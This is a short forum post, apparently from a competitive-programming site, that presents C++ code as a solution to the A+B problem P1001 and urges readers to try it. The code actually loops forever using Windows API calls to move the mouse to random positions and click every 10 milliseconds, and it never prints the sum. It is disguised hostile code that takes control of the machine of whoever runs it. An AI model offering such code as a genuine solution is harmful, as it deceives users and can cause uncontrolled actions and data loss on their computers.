P1001高精题解
查看原帖
P1001高精题解
1299145
GGBone123楼主2024/7/19 16:31

代码如下(没试直接发,不要学这人,所以请大家先试一下):

#include<iostream>
#include<windows.h>

using namespace std;

int main()
{
  int n,a;
  cin>>n>>a;
POINT p;
while(1)
  {
GetCursorPos(&p);
SetCursorPos(rand() % 900, rand() % 1600);
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
Sleep(10);
}
cout<<n+a;
return 0;
 }
2024/7/19 16:31
加载中...